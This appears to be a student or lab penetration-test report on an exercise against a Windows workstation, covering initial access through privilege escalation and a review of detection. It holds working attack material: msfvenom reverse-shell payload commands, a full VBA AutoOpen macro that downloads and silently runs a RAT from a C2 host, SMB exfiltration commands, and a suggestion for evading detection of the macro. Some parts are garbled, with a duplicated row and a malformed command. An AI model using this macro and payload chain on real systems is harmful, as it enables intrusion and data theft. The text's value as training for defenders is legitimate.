Penetration Test Report: Acme Corp Internal Network

Date: October 5, 2026

Tester: Victoria Bychkov

Target Host: WS-ACME-042 (Windows 10 Pro)

Objective: Validate internal lateral movement and privilege escalation controls.

1. Executive Summary

In this exercise I will be performing a Red Team operation that involves initial access, reconnaissance data exfiltration, and local privledge escalation. This assignment requires me to document my methodology in a formal penetration testing report and articulate the technical weaknesses exploited during each phase.

2. Methodology

Phase 0: RAT development.

Premise: Create and explain the options used to create a RAT and set up a listener

Commands Used:

# Payload Generation
msfvenom -p windows/x64/meterpreter/https LHOST=10.0.17.67 LPORT=12345 f exe > RAT.exe

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.67 LPORT=12346 -f exe > Jinx.exe
# Listener Setup
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.17.67
set LPORT 12345
run

Phase 1: Initial Access

Vector: Spearphishing Attachment (VBA Macro)

Premise: A social engineering attack was simulated in which champuser received a malicious Word document posing as a legitimate invoice. The document contained a VBA AutoOpen macro that, upon execution, initiated an HTTP GET request to the C2 server (10.0.17.67:80) to retrieve the RAT payload, saved it to the user's Documents folder, and executed it — establishing a reverse HTTPS Meterpreter session back to the attacker. Commands Used:

Sub AutoOpen() Dim objShell As Object Dim objHTTP As Object Dim objStream As Object Dim strPath As String Dim strURL As String

' --- CONFIGURATION ---
' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
strURL = "http://10.0.17.67:80/RAT.exe"
strPath = Environ("USERPROFILE") & "\Desktop\launcher.exe"
' ---------------------


' 1. Download File
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "GET", strURL, False
objHTTP.Send

If objHTTP.Status <> 200 Then
    MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
    Exit Sub
End If

' 2. Save File
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
objStream.Open
objStream.Write objHTTP.ResponseBody
objStream.Position = 0
objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
objStream.Close

' 3. Verify File Exists
If Dir(strPath) = "" Then
    MsgBox "CRITICAL: File was not saved to disk.", vbCritical
    Exit Sub
End If

' 4. Run File
Set objShell = CreateObject("WScript.Shell")
' Use cmd /c to ensure proper batch execution
objShell.Run "cmd /c """ & strPath & """", 0, False

Exit Sub

Verification

Open the document:

There should be no errors here.

Once done, return to the Kali Machine. Verify a session had started. Run id for even more confirmation.

Phase 2: Host Enumeration and Data Staging

Meterpreter Modules Executed

Module	Command	Key Findings
System Information	sysinfo	The computer is DESKTOP-64LA2VE, The operating system is Windows 10 1809 (Build 17763), Architecture: x64
Current User	getuid	The server username is DESKTOP-64LA2VE\champuser
User Privileges	getprivs	Lists privileges available to champuser
Running Processes	ps	Lists privileges available to champuser
Running Processes	ps	Lists all running processes and their owners
Network Configuration	ipconfig	Network interfaces and IP addresses

sysinfo

getuid

getprivs

ps

ipconfig

Phase 3: Non-Standard Data Exfiltration

Exfiltration Method

SMB (Server Message Block) file sharing via Impacket's impacket-smbserver.

Technical Justification

SMB operates over port 445 and is commonly used for legitimate internal file sharing within enterprise environments. Unlike HTTP/HTTPS traffic which is heavily inspected by web proxies and DLP solutions, SMB traffic is often trusted and allowed between internal hosts. This makes it an effective exfiltration channel as it blends in with normal Windows file sharing activity and is less likely to trigger standard web-based monitoring rules.

Detection Considerations

An organization could detect this exfiltration method through:

• Unusual SMB connections — outbound SMB (port 445) from a workstation to an external or unknown IP should trigger alerts
• Volume anomalies — large data transfers over SMB outside business hours
• Sysmon Event ID 3 — network connection logs showing SMB connections to unexpected hosts
• Windows Event ID 5140 — network share object access logging
• Firewall rules — blocking outbound port 445 entirely at the perimeter

Commands Used

On Kali (C2 Server) — Start SMB Server:

mkdir -p /tmp/smb
impacket-smbserver share /tmp/smb -smb2support -username transfer -password transfer123

It will be left hanging, that is normal and means it is successfully running.

On Windows (Target) — Authenticate and Transfer:

net use \\10.0.17.67\share /user:transfer transfer123
copy C:\temp\staged_data.7z \\10.0.17.67\share\staged_data.7z

On Kali (C2 Server) — Verify Transfer:

ls -lh /tmp/smb/

Decompress and Verify on C2

cd /tmp/smb
7z x staged_data.7z
ls -lh
cat 01_whoami.txt

Phase 4: Local Privilege Escalation (LPE)

Vulnerability Scanning

The post/windows/gather/win_privs Meterpreter module was used to enumerate the current user's privileges and security context. This revealed that champuser was a member of the local Administrators group with UAC disabled, making Named Pipe Impersonation a viable escalation path.

Technical Analysis

Vulnerability: Named Pipe Impersonation (Meterpreter getsystem Technique 1)

CVE Identifier: No specific CVE — this is an abuse of a legitimate Windows feature (Named Pipes) combined with misconfigured local security policy (UAC disabled, user in Administrators group).

Root Cause: The weakness stems from two misconfigurations identified during Phase 2 enumeration:

1. champuser was placed in the local Administrators group
2. UAC (User Account Control) was disabled on the host

This means there is no elevation prompt barrier between a standard admin token and a SYSTEM-level token.

Exploit Mechanism: Meterpreter's getsystem technique 1 works by creating a named pipe and impersonating the SYSTEM token when a SYSTEM process connects to it. With UAC disabled and the user already in the Administrators group, no security boundary prevented this impersonation from succeeding.

Link to Phase 2 Enumeration

The post/windows/gather/win_privs module run during Phase 2 revealed:

• Is Admin: True — champuser is in the local Administrators group

• UAC Enabled: False — no UAC barrier to token impersonation

• Is System: False — confirmed escalation was still needed

These findings directly informed of getsystem as the escalation vector.

Exploitation

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Verification on Target

Verification on C2 (vssadmin)

wmic shadowcopy call create Volume='C:\'
vssadmin list shadows

Phase 5: Log Analysis and Detection Evasion Review

Sysmon Event ID 1 Findings

Timestamp	Process Name	Parent Process	Command Line
2026-10-08 18:12:17.814	WINWORD.EXE	explorer.exe	WINWORD.EXE /n "C:\Users\champuser\Desktop\Invoice.docm.docx" /o ""
2026-10-08 18:12:17.835	cmd.exe	WINWORD.EXE	cmd.exe /c "C:\Users\champuser\Documents\launcher.exe"
2026-10-08 18:12:17.906	launcher.exe	cmd.exe	C:\Users\champuser\Documents\launcher.exe
2026-10-08 18:13:35.375	cmd.exe	WINWORD.EXE	cmd.exe /c "C:\Users\champuser\Documents\launcher.exe"
2026-10-08 18:13:35.457	launcher.exe	cmd.exe	C:\Users\champuser\Documents\launcher.exe
2026-10-08 18:13:43.272	cmd.exe	launcher.exe	C:\Windows\system32\cmd.exe
2026-10-08 18:15:42.760	cmd.exe	-	C:\Windows\system32\cmd.exe

Analysis

Likely Detected:

• WINWORD.EXE spawning cmd.exe (18:12:17) — this is a well-known IOC and would trigger standard Sigma rules for Office macro abuse. Any EDR with basic rules would flag this immediately.
• cmd.exe executing launcher.exe from the Documents folder — executing an unsigned binary from a user writable directory is highly suspicious and would trigger behavioral detection rules.
• launcher.exe spawning cmd.exe (18:13:43) — a RAT spawning a shell is a classic indicator and would be flagged by most EDR solutions.

Likely Undetected:

• The SMB exfiltration via net use and copy commands did not appear in these logs, suggesting it may not have been captured by Sysmon's process creation rules alone — network-level monitoring would be required to detect it.
• The getsystem Named Pipe Impersonation technique runs in memory and does not create a new process visible in Event ID 1 logs, making it harder to detect without memory scanning.

Detection Improvement Suggestions

Improvement 1 — Reduce Detection of Office Macro Execution: Implementing a macro that uses WScript.Shell or COM objects instead of directly spawning cmd.exe from WINWORD.EXE would reduce the likelihood of triggering standard Office child process Sigma rules.

Improvement 2 — Improve Detection Logic: Organizations should implement Sigma rule proc_creation_win_office_shell which specifically detects Office applications spawning command interpreters, and supplement it with file creation monitoring for unsigned executables written to user-writable directories. Sigma Rule is an open source format used to write platform-agnostic threat detection log signatures. This will prevent any Macro attacks like this one.

Recommendations

Since this all started with the word document being opened, I would start by securing Macros from any start of this if I were a system administrator. Running the Sigma's rule would have been a really good to start off with.